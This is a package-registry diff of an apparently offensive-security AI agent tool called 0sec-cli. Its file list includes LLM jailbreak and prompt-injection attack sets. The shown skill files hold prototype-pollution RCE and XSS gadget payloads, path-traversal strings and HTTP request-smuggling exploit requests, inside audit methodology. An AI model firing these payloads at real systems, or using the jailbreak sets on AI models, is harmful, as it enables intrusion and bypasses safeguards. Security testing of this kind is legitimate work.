0sec-cli 0.15.0 → 0.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (209) hide show
  1. package/0sec.js +322 -0
  2. package/README.md +63 -52
  3. package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
  4. package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
  5. package/attacks/jailbreak/dan-roleplay.yaml +27 -0
  6. package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
  7. package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
  8. package/attacks/output-manipulation/harmful-content.yaml +25 -0
  9. package/attacks/prompt-injection/context-manipulation.yaml +32 -0
  10. package/attacks/prompt-injection/direct-injection.yaml +28 -0
  11. package/attacks/prompt-injection/indirect-injection.yaml +33 -0
  12. package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
  13. package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
  14. package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
  15. package/chunks/adapt-loop-ECQG7454.js +18 -0
  16. package/chunks/adgraph-JLGA6RYI.js +54 -0
  17. package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
  18. package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
  19. package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
  20. package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
  21. package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
  22. package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
  23. package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
  24. package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
  25. package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
  26. package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
  27. package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
  28. package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
  29. package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
  30. package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
  31. package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
  32. package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
  33. package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
  34. package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
  35. package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
  36. package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
  37. package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
  38. package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
  39. package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
  40. package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
  41. package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
  42. package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
  43. package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
  44. package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
  45. package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
  46. package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
  47. package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
  48. package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
  49. package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
  50. package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
  51. package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
  52. package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
  53. package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
  54. package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
  55. package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
  56. package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
  57. package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
  58. package/chunks/artifact-scraper-GJEZMOHF.js +34 -0
  59. package/chunks/assumption-mining-BVMMUZHB.js +79 -0
  60. package/chunks/chunk-2CJ776PV.js +2430 -0
  61. package/chunks/chunk-2RMLOJVB.js +47 -0
  62. package/chunks/chunk-2SANI5RH.js +4728 -0
  63. package/chunks/chunk-3MOLBTLS.js +953 -0
  64. package/chunks/chunk-3QFDYBZQ.js +5108 -0
  65. package/chunks/chunk-47TQJWDH.js +3729 -0
  66. package/chunks/chunk-4Y4KQJXE.js +600 -0
  67. package/chunks/chunk-53G27VPS.js +136 -0
  68. package/chunks/chunk-57ZENEX2.js +169 -0
  69. package/chunks/chunk-5G3ZXFBW.js +182 -0
  70. package/chunks/chunk-6LKRLK2R.js +542 -0
  71. package/chunks/chunk-7DQEV5QI.js +287 -0
  72. package/chunks/chunk-A6CLR72I.js +235 -0
  73. package/chunks/chunk-BKZFDZ23.js +361 -0
  74. package/chunks/chunk-CLHCDHP4.js +471 -0
  75. package/chunks/chunk-D6S3IIPG.js +518 -0
  76. package/chunks/chunk-DN25OQQA.js +1070 -0
  77. package/chunks/chunk-DW5UWPFY.js +275 -0
  78. package/chunks/chunk-F3WBKITT.js +687 -0
  79. package/chunks/chunk-H2FFLZNK.js +3 -0
  80. package/chunks/chunk-H44E2CRN.js +193 -0
  81. package/chunks/chunk-HDWV7PGI.js +596 -0
  82. package/chunks/chunk-HE7LCA7G.js +381 -0
  83. package/chunks/chunk-HT6P7RY3.js +2597 -0
  84. package/chunks/chunk-IOL7D5YV.js +515 -0
  85. package/chunks/chunk-IORC6MQX.js +72828 -0
  86. package/chunks/chunk-IR537GON.js +49 -0
  87. package/chunks/chunk-K26SZ37E.js +5735 -0
  88. package/chunks/chunk-KKGE5RQE.js +1094 -0
  89. package/chunks/chunk-KLTNTE2Z.js +121 -0
  90. package/chunks/chunk-KTQDLNSR.js +1732 -0
  91. package/chunks/chunk-LOHTE223.js +2572 -0
  92. package/chunks/chunk-LP3HHYQU.js +245 -0
  93. package/chunks/chunk-MMLDQR4H.js +852 -0
  94. package/chunks/chunk-MYVT64FN.js +16 -0
  95. package/chunks/chunk-O462Y7P2.js +33019 -0
  96. package/chunks/chunk-OEFNRYI2.js +150 -0
  97. package/chunks/chunk-P6WKNFWX.js +1968 -0
  98. package/chunks/chunk-QI233I24.js +333 -0
  99. package/chunks/chunk-QJQKHO7G.js +917 -0
  100. package/chunks/chunk-QKICO43A.js +808 -0
  101. package/chunks/chunk-QOKTUOU2.js +102 -0
  102. package/chunks/chunk-RDZYQQLW.js +596 -0
  103. package/chunks/chunk-RJWOYEOG.js +271 -0
  104. package/chunks/chunk-RRMJC3ZE.js +105 -0
  105. package/chunks/chunk-RWONANDA.js +973 -0
  106. package/chunks/chunk-SAFFWQW4.js +5921 -0
  107. package/chunks/chunk-SF4KZ4O3.js +502 -0
  108. package/chunks/chunk-SNKTC4BP.js +1422 -0
  109. package/chunks/chunk-SOG2U7B3.js +662 -0
  110. package/chunks/chunk-SZJCPG2I.js +110 -0
  111. package/chunks/chunk-UJ4IK5PO.js +2010 -0
  112. package/chunks/chunk-UM3ZNQIM.js +9329 -0
  113. package/chunks/chunk-VGRDNSHA.js +3249 -0
  114. package/chunks/chunk-VQG4FT5D.js +685 -0
  115. package/chunks/chunk-WKNNZVJS.js +2798 -0
  116. package/chunks/chunk-WU6AFRAZ.js +1167 -0
  117. package/chunks/chunk-WVTBZEQO.js +1531 -0
  118. package/chunks/chunk-YLMN3N25.js +4054 -0
  119. package/chunks/commands-U3AMV5ZU.js +16795 -0
  120. package/chunks/corpus-v1.json +403 -0
  121. package/chunks/cost-ledger-ZCKMBJEN.js +13 -0
  122. package/chunks/data/appsec-archetypes.json +102 -0
  123. package/chunks/data/chromium-archetypes.json +204 -0
  124. package/chunks/data/freebsd-archetypes.json +171 -0
  125. package/chunks/data/kernel-archetypes.json +611 -0
  126. package/chunks/db-26NGQFKO.js +16 -0
  127. package/chunks/disclose-A6AEIEDA.js +132 -0
  128. package/chunks/dist-FDKALV4R.js +2772 -0
  129. package/chunks/dist-GL66KMUX.js +74 -0
  130. package/chunks/dist-JR67XKYO.js +159 -0
  131. package/chunks/eval-runner-DDLE5RQ3.js +27 -0
  132. package/chunks/example-manifest.json +95 -0
  133. package/chunks/exploit-agent-XP23ISN7.js +98 -0
  134. package/chunks/exploit-autoclimb-E6T7RRSC.js +81 -0
  135. package/chunks/exploit-climb-2FAUP6XU.js +358 -0
  136. package/chunks/fix-IG7LYXH3.js +12 -0
  137. package/chunks/github-issues-MJ6OYOOU.js +157 -0
  138. package/chunks/harness-HWOYFKFY.js +22 -0
  139. package/chunks/http-conformance-DU66MZIU.js +11 -0
  140. package/chunks/http-sender-GWH2IYEA.js +10 -0
  141. package/chunks/hunt-scan-XPELSPQQ.js +38 -0
  142. package/chunks/identity-6ZAIIWOR.js +191 -0
  143. package/chunks/kernel-primitive-TENE3R7T.js +44 -0
  144. package/chunks/kernel-vm-runner-4F6QSNFY.js +62 -0
  145. package/chunks/memsafety-scan-J7SECV5W.js +16 -0
  146. package/chunks/native-loop-NTONUDP7.js +54 -0
  147. package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
  148. package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
  149. package/chunks/orchestrate-ZUWAUWBC.js +62 -0
  150. package/chunks/pipeline-FCARFZU3.js +14 -0
  151. package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
  152. package/chunks/prepare-MYY743TK.js +13 -0
  153. package/chunks/process-3Q7QJIOZ.js +13 -0
  154. package/chunks/replay-runner-RRR4E2A7.js +39 -0
  155. package/chunks/run-ESNN4V5W.js +32632 -0
  156. package/chunks/runtime-62ZQAH7H.js +43 -0
  157. package/chunks/runtime-J7PLXZNM.js +12 -0
  158. package/chunks/scan-stream-FHI2FYZE.js +96 -0
  159. package/chunks/scope-BI7BF4ZY.js +18 -0
  160. package/chunks/session-store-BCFQYDCE.js +28 -0
  161. package/chunks/source-files-PWRQR6LY.js +12 -0
  162. package/chunks/specdrift-WCLH6TTQ.js +19 -0
  163. package/chunks/variant-candidates-6KM6F6MD.js +13 -0
  164. package/chunks/web-recon-prepass-DPVCBRZA.js +1148 -0
  165. package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
  166. package/dashboard/assets/bot-yILPnRgD.js +1 -0
  167. package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
  168. package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
  169. package/dashboard/assets/client-DRYsuOGl.js +9 -0
  170. package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
  171. package/dashboard/assets/desktop-CXTQonNm.js +32 -0
  172. package/dashboard/assets/desktop-NOekk4QS.css +1 -0
  173. package/dashboard/assets/dist-CmX-h7a4.js +1 -0
  174. package/dashboard/assets/dist-DAwYQmf_.js +45 -0
  175. package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
  176. package/dashboard/assets/format-PoISqsES.js +1 -0
  177. package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
  178. package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
  179. package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
  180. package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
  181. package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
  182. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
  183. package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
  184. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
  185. package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
  186. package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
  187. package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
  188. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
  189. package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
  190. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
  191. package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
  192. package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
  193. package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
  194. package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
  195. package/dashboard/assets/operations-BKE8T-vY.css +2 -0
  196. package/dashboard/assets/operations-D8nUP5_m.js +4 -0
  197. package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
  198. package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
  199. package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
  200. package/dashboard/assets/play-Dwo-9xt6.js +1 -0
  201. package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
  202. package/dashboard/assets/search-CiooTLck.js +1 -0
  203. package/dashboard/assets/siren-CCBwTSuk.js +1 -0
  204. package/dashboard/assets/table-BYS-nIVA.js +1 -0
  205. package/dashboard/assets/tabs-DivxbhQy.js +1 -0
  206. package/dashboard/desktop.html +21 -0
  207. package/dashboard/index.html +15 -0
  208. package/package.json +30 -18
  209. package/bin/0sec.cjs +0 -361
@@ -0,0 +1,93 @@
1
+ id: native-memory-safety
2
+ name: "Native (C/C++) Memory Safety"
3
+ description: "Untrusted-length parsing, OOB read/write, integer overflow, and use-after-free in C/C++ and kernel code — the class behind our accepted kernel 0-days (UAF, stack-overflow) and bluez/bitlbee overflows. Targets the highest-value attack surface: parsers of attacker-controlled binary input."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - memory-safety
10
+ - buffer-overflow
11
+ - out-of-bounds
12
+ - use-after-free
13
+ - integer-overflow
14
+ - c
15
+ - cpp
16
+ - kernel
17
+ - parser
18
+ triggers:
19
+ - "buffer.?overflow|out.?of.?bounds|oob|use.?after.?free|uaf"
20
+ - "memcpy|memmove|strcpy|strcat|sprintf|alloca"
21
+ - "malloc|kmalloc|kzalloc|calloc|realloc|free\\(|kfree"
22
+ - "len|length|size|count|nmemb"
23
+ - "\\[.*\\]\\s*=|->\\w+\\[|stack.?buf|on.?stack"
24
+ - "recv|read\\(|parse|decode|deserialize|unmarshal"
25
+ - "socks|tlv|packet|header|record|frame|chunk"
26
+ - "skb|sk_buff|refcount|kref|put_device|netns"
27
+ - "\\.c\\b|\\.cc\\b|\\.cpp\\b|\\.h\\b"
28
+ estimated_tokens: 1000
29
+ content: |
30
+ ## Native (C/C++ / Kernel) Memory-Safety Methodology
31
+
32
+ This class produced our highest-value, externally-ACCEPTED findings (Linux
33
+ kernel UAF + stack-overflow 0-days, bluez/bitlbee overflows). The target is
34
+ always the same: **code that parses attacker-controlled binary input using a
35
+ length/count it doesn't fully trust-check.**
36
+
37
+ ### Phase 1: Find the untrusted-input parsers (highest-value surface)
38
+ Prioritize functions that read network/file/IPC data and walk it by a
39
+ length field:
40
+ - Protocol response/record parsers (SOCKS bound-address, TLV, ASN.1, packet
41
+ headers, snoop/pcap records, font/image chunk tables).
42
+ - `recv`/`read` loops that compute a `resp_len`/`record_len` from the FIRST
43
+ bytes and then read/copy that many more.
44
+ - Kernel: netlink/socket parsers, codec/driver ioctls, `skb` handling.
45
+
46
+ ### Phase 2: The bug patterns (what to actually check)
47
+ - **Trusting a length field**: `len = buf[4]; memcpy(dst, src, len)` where
48
+ `len` is attacker-controlled and `dst` is fixed-size → overflow. (bluez
49
+ btsnoop: *"trusts record length fields → stack buffer overflow."*)
50
+ - **Off-by-one / missing bound**: index `<=` instead of `<`, NUL terminator
51
+ not counted, `+1`/`-1` errors near a boundary.
52
+ - **Integer overflow → undersized alloc**: `malloc(count * size)` or
53
+ `len + hdr` wraps on a 32-bit/`size_t` boundary → small alloc, big write.
54
+ Check every arithmetic on an attacker-influenced length BEFORE the alloc.
55
+ - **Append/concat without remaining-space check**: `twitter_url_append()`
56
+ style — appends untrusted data into a buffer without checking space left
57
+ (bitlbee: heap buffer overflow via this).
58
+ - **Use-after-free** (kernel gold): an object freed on one path (error/
59
+ teardown/refcount-drop) then dereferenced on another — race in
60
+ init/cleanup, double `put`, freed `skb`/`dst` reused, `netns` teardown vs
61
+ in-flight work. Map the alloc → free → use triangle across call paths.
62
+
63
+ ### Phase 3: Validate the bound is actually missing
64
+ For a length-driven copy, find: where does the length come from, what bounds
65
+ it (a `min()`, a `if(len > sizeof buf) fail`, a growable buffer), and does the
66
+ check happen on the SAME value that's later used? Modern code often uses a
67
+ growable buffer (`Curl_bufq`, dynbuf) + re-checks `have >= need` — that is
68
+ SAFE even though it looks scary. Read the WHOLE function (if the file tool
69
+ truncates a large file, page through it — do not conclude from the first
70
+ screen).
71
+
72
+ ### Phase 4: Confirm before save_finding
73
+ - Show the source (untrusted length/data) → the unchecked copy/free/use, with
74
+ file:line, and why the surrounding checks don't cover the value.
75
+ - For UAF: the alloc site, the free site, the use site, and the path/race that
76
+ orders free-before-use.
77
+ - PoC: a crafted input (and, for kernel, a syzlang/C repro under the verify
78
+ sandbox) that triggers an ASAN/KASAN splat. A decoded sanitizer report is
79
+ the gold standard.
80
+
81
+ ### Anti-false-positive checklist
82
+ - Is the destination fixed-size, or a growable/exact-sized alloc?
83
+ - Is the length re-checked against remaining space on the value actually used?
84
+ - Is the "freed" object really reachable after free on a real path?
85
+ Bounded copy into a sized buffer with a correct check = NOT a finding. Curl's
86
+ `socks5_recv_resp1` is the textbook *safe* example (resp_len ≤ 262, growable
87
+ bufq, re-checked) — recognizing safe code is as important as finding bugs.
88
+
89
+ ### Real wins from this engine
90
+ - Linux kernel: ACCEPTED UAF and stack-overflow 0-days (the highest-value
91
+ output the engine has produced).
92
+ - bluez btsnoop: stack buffer overflow from trusting record length fields.
93
+ - bitlbee `twitter_url_append()`: heap buffer overflow via untrusted input.
@@ -0,0 +1,78 @@
1
+ id: path-traversal
2
+ name: "Path Traversal & Arbitrary File Write"
3
+ description: "Untrusted path components escaping a base directory — on read (file disclosure) and especially on WRITE (zip-slip, archive extraction, download-to-path → RCE). Verified in cloudflare/wrangler and trustwallet WASM keystore."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - path-traversal
10
+ - directory-traversal
11
+ - zip-slip
12
+ - arbitrary-file-write
13
+ - lfi
14
+ - archive-extraction
15
+ triggers:
16
+ - "path.?travers|directory.?travers|zip.?slip"
17
+ - "\\.\\./|%2e%2e|\\.\\.\\\\"
18
+ - "path\\.join|path\\.resolve|os\\.path\\.join"
19
+ - "extract|unzip|untar|decompress|adm-zip|tar\\b"
20
+ - "writeFile|writeFileSync|createWriteStream|fs\\.write|open\\(.*['\"]w"
21
+ - "readFile|sendFile|res\\.download|createReadStream"
22
+ - "basename|normalize|sanitize.?path"
23
+ - "entry\\.name|filename|fileName|member"
24
+ - "__from-dash|init|template|scaffold"
25
+ estimated_tokens: 850
26
+ content: |
27
+ ## Path Traversal & Arbitrary File Write Methodology
28
+
29
+ Two flavors, very different impact:
30
+ - **Read traversal** → file disclosure (config, keys, `/etc/passwd`). Medium-ish.
31
+ - **Write traversal** → arbitrary file write → **RCE** (overwrite a startup
32
+ script, `.bashrc`, a `.js`/`.py` that gets required, an authorized_keys, a
33
+ cron). High/critical. *Prioritize write sinks.*
34
+
35
+ ### Phase 1: Find the path sinks
36
+ - **Read**: `sendFile`, `res.download`, `fs.readFile`/`createReadStream`,
37
+ template loaders, static file handlers keyed on a request param.
38
+ - **Write**: `fs.writeFile`/`createWriteStream`, `fs.mkdir`, archive extraction
39
+ (`adm-zip`, `tar`, `unzip`, `decompress`), download-to-path, scaffolders
40
+ (`init`/`template`/`--from-dash`), log/cache writers keyed on input.
41
+
42
+ ### Phase 2: The traversal vectors
43
+ - Classic `../../../etc/passwd`; encoded `%2e%2e%2f`, double-encoded `%252e`,
44
+ UTF-8 overlong; Windows `..\\` and mixed `..%5c`.
45
+ - **Absolute-path injection** — input is `/etc/cron.d/x` (no `../` needed) and
46
+ the sink does `path.join(base, input)` where an absolute `input` *replaces*
47
+ base (Node `path.join('/safe','/etc/x')` → `/safe/etc/x`, but
48
+ `path.resolve` with an absolute escapes entirely — know the difference).
49
+ - **Zip-slip** — an archive member named `../../x` written during extraction
50
+ without re-checking the resolved path stays under the target dir.
51
+ - **Symlink in archive** — a member that's a symlink to `/`, then a follow-up
52
+ member writes "through" it.
53
+
54
+ ### Phase 3: Defeat the guard
55
+ Common broken guards: `replace('../','')` (non-recursive → `....//`), checking
56
+ the raw input not the *resolved* path, `basename()` only on the last component,
57
+ decode-after-check. The correct guard is: resolve to an absolute path THEN
58
+ assert it `startsWith(baseDir + sep)`. If that's missing or done before
59
+ decoding, it's bypassable.
60
+
61
+ ### Phase 4: Confirm before save_finding
62
+ - Show the untrusted path component → sink (file:line), and that the resolved
63
+ path escapes the base. For write, name the file you'd overwrite and the RCE/
64
+ impact it yields.
65
+ - PoC: the exact traversal string + (sandbox) a write landing outside the base
66
+ dir, or a read returning out-of-tree content.
67
+
68
+ ### Anti-false-positive checklist
69
+ - Does the code resolve-then-check `startsWith(base)`? Is `entry.name`
70
+ re-validated against the resolved target during extraction?
71
+ - Is the path actually request-controlled vs a fixed server path?
72
+ Correct resolve+prefix check = NOT traversable. Don't save it.
73
+
74
+ ### Real wins from this engine
75
+ - cloudflare/wrangler `init --from-dash`: path traversal via a crafted
76
+ worker/script name → file write outside the project dir.
77
+ - trustwallet WASM KeyStore FileSystemStorage: path traversal in the storage
78
+ key.
@@ -0,0 +1,132 @@
1
+ id: prototype-pollution
2
+ name: "JavaScript Prototype Pollution"
3
+ description: "Prototype pollution via __proto__, constructor.prototype, and Object.assign — with gadget chains for RCE, XSS, privilege escalation, and auth bypass."
4
+ version: 1
5
+ applicable_roles:
6
+ - attack
7
+ - audit
8
+ tags:
9
+ - prototype-pollution
10
+ - javascript
11
+ - nodejs
12
+ - rce
13
+ - xss
14
+ - auth-bypass
15
+ - gadget-chain
16
+ triggers:
17
+ - "__proto__"
18
+ - "constructor\\.prototype"
19
+ - "Object\\.assign"
20
+ - "merge\\("
21
+ - "deepmerge"
22
+ - "lodash"
23
+ - "\\.extend\\("
24
+ - "prototype.*pollut"
25
+ - "node_modules"
26
+ - "express"
27
+ - "application/json"
28
+ estimated_tokens: 900
29
+ content: |
30
+ ## JavaScript Prototype Pollution Methodology
31
+
32
+ ### Phase 1: Identify Merge/Assign Sinks
33
+ Look for endpoints that accept JSON and merge it into objects:
34
+ - `Object.assign(target, userInput)`
35
+ - `_.merge(target, userInput)` / `_.defaultsDeep(target, userInput)` (lodash)
36
+ - `$.extend(true, target, userInput)` (jQuery)
37
+ - Custom recursive merge functions: `deepMerge`, `deepExtend`, `defaults`
38
+ - Any endpoint accepting nested JSON that gets merged into config/options
39
+
40
+ ### Phase 2: Detection Payloads
41
+ Send via JSON body to merge-capable endpoints:
42
+
43
+ **Via `__proto__`:**
44
+ ```json
45
+ {"__proto__": {"polluted": "yes"}}
46
+ ```
47
+
48
+ **Via `constructor.prototype`:**
49
+ ```json
50
+ {"constructor": {"prototype": {"polluted": "yes"}}}
51
+ ```
52
+
53
+ **Verification**: access a new empty object's `.polluted` property — if it returns `"yes"`, pollution succeeded. In a web context, check if subsequent API responses include unexpected `polluted` fields.
54
+
55
+ ### Phase 3: Server-Side RCE Gadgets (Node.js)
56
+
57
+ **child_process.spawn/exec via shell option:**
58
+ ```json
59
+ {"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
60
+ ```
61
+
62
+ **child_process.fork via NODE_OPTIONS:**
63
+ ```json
64
+ {"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ"}}
65
+ ```
66
+
67
+ **EJS template RCE (Express + EJS):**
68
+ ```json
69
+ {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
70
+ ```
71
+ Then trigger any template render — the injected function name executes as code.
72
+
73
+ **Pug template RCE:**
74
+ ```json
75
+ {"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
76
+ ```
77
+
78
+ **Handlebars RCE:**
79
+ ```json
80
+ {"__proto__": {"main": "\n return process.mainModule.require('child_process').execSync('id').toString()\n"}}
81
+ ```
82
+
83
+ ### Phase 4: Client-Side XSS Gadgets
84
+
85
+ **innerHTML/outerHTML pollution:**
86
+ ```json
87
+ {"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
88
+ ```
89
+
90
+ **jQuery $.html() gadget:**
91
+ ```json
92
+ {"__proto__": {"div": ["<img src=x onerror=alert(1)>"]}}
93
+ ```
94
+
95
+ **DOM clobbering via prototype:**
96
+ ```json
97
+ {"__proto__": {"src": "javascript:alert(1)", "href": "javascript:alert(1)"}}
98
+ ```
99
+
100
+ ### Phase 5: Auth Bypass and Privilege Escalation
101
+
102
+ **isAdmin / role pollution:**
103
+ ```json
104
+ {"__proto__": {"isAdmin": true}}
105
+ {"__proto__": {"role": "admin"}}
106
+ {"__proto__": {"admin": true}}
107
+ {"__proto__": {"verified": true}}
108
+ ```
109
+ If the app checks `user.isAdmin` and that property is not explicitly set on the user object, it inherits from the polluted prototype.
110
+
111
+ **JWT verification bypass:**
112
+ ```json
113
+ {"__proto__": {"algorithms": ["none"]}}
114
+ ```
115
+ Pollutes the jsonwebtoken verify options — accepts `alg: none` tokens.
116
+
117
+ ### Phase 6: Detection in Source Code Review
118
+ Grep for dangerous patterns:
119
+ ```
120
+ grep -rn "Object.assign\|\.merge(\|deepmerge\|defaultsDeep\|\.extend(" --include="*.js" --include="*.ts"
121
+ grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts"
122
+ ```
123
+ Check if any of these functions receive user-controlled input (req.body, req.query, parsed JSON).
124
+
125
+ ### Phase 7: Recursive Exploitation Strategy
126
+ 1. Find a JSON merge endpoint (POST/PUT/PATCH with JSON body)
127
+ 2. Test with `{"__proto__": {"testprop": "1"}}` and check if other endpoints reflect `testprop`
128
+ 3. If confirmed, escalate via the most impactful gadget:
129
+ - EJS/Pug/Handlebars → RCE (check which template engine is in package.json)
130
+ - Auth check on prototype property → privilege escalation
131
+ - DOM rendering with user data → XSS
132
+ 4. For proof, prefer `id` / `whoami` output via RCE gadgets, or admin panel access via auth bypass
@@ -0,0 +1,129 @@
1
+ id: request-smuggling
2
+ name: "HTTP Request Smuggling"
3
+ description: "CL.TE, TE.CL, TE.TE, and H2 downgrade smuggling detection and exploitation"
4
+ version: 1
5
+ applicable_roles: [attack, audit]
6
+ tags: [request-smuggling, http, desync, cl-te, te-cl, h2, proxy, smuggling]
7
+ triggers:
8
+ - "Transfer-Encoding"
9
+ - "CL\\.TE"
10
+ - "TE\\.CL"
11
+ - "TE\\.TE"
12
+ - "desync"
13
+ - "smuggl"
14
+ - "HAProxy"
15
+ - "Apache Traffic Server"
16
+ - "nginx/1\\.[0-9]\\."
17
+ - "front.?end.*back.?end"
18
+ - "reverse.proxy"
19
+ - "HTTP/2.*downgrade"
20
+ - "h2c"
21
+ - "keep-alive"
22
+ estimated_tokens: 700
23
+ content: |
24
+ ## HTTP Request Smuggling
25
+
26
+ ### Concept
27
+ Smuggling exploits disagreements between a front-end proxy and back-end server about where one HTTP request ends and the next begins. The attacker's "smuggled" suffix is treated as the start of the next request by the back-end.
28
+
29
+ ### Step 1: Timing-Based Detection (Safe First Step)
30
+ Send ambiguous requests and measure response timing. A vulnerable server stalls on the smuggled incomplete request.
31
+
32
+ **CL.TE probe** (front-end trusts Content-Length, back-end trusts Transfer-Encoding):
33
+ ```
34
+ POST / HTTP/1.1
35
+ Host: target
36
+ Content-Length: 4
37
+ Transfer-Encoding: chunked
38
+
39
+ 1
40
+ A
41
+ X
42
+ ```
43
+ If the back-end hangs waiting for the next chunk, CL.TE is confirmed.
44
+
45
+ **TE.CL probe** (front-end trusts TE, back-end trusts CL):
46
+ ```
47
+ POST / HTTP/1.1
48
+ Host: target
49
+ Content-Length: 6
50
+ Transfer-Encoding: chunked
51
+
52
+ 0
53
+
54
+ X
55
+ ```
56
+ If the back-end reads "X" as part of this request but the front-end already ended it, TE.CL is confirmed.
57
+
58
+ ### Step 2: Exploitation Payloads
59
+
60
+ **CL.TE — smuggle a prefix** (back-end sees SMUGGLED as start of next request):
61
+ ```
62
+ POST / HTTP/1.1
63
+ Host: target
64
+ Content-Length: 13
65
+ Transfer-Encoding: chunked
66
+
67
+ 0
68
+
69
+ SMUGGLED
70
+ ```
71
+
72
+ **TE.CL — smuggle with chunked prefix**:
73
+ ```
74
+ POST / HTTP/1.1
75
+ Host: target
76
+ Content-Length: 4
77
+ Transfer-Encoding: chunked
78
+
79
+ 5c
80
+ GPOST / HTTP/1.1
81
+ Host: target
82
+ Content-Length: 15
83
+
84
+ x=1
85
+ 0
86
+
87
+ ```
88
+
89
+ **H2.CL downgrade** (front-end HTTP/2, back-end HTTP/1.1):
90
+ - Send HTTP/2 request with a `Content-Length` header that disagrees with the actual body length
91
+ - The front-end forwards via H1 to back-end; surplus bytes become the next request
92
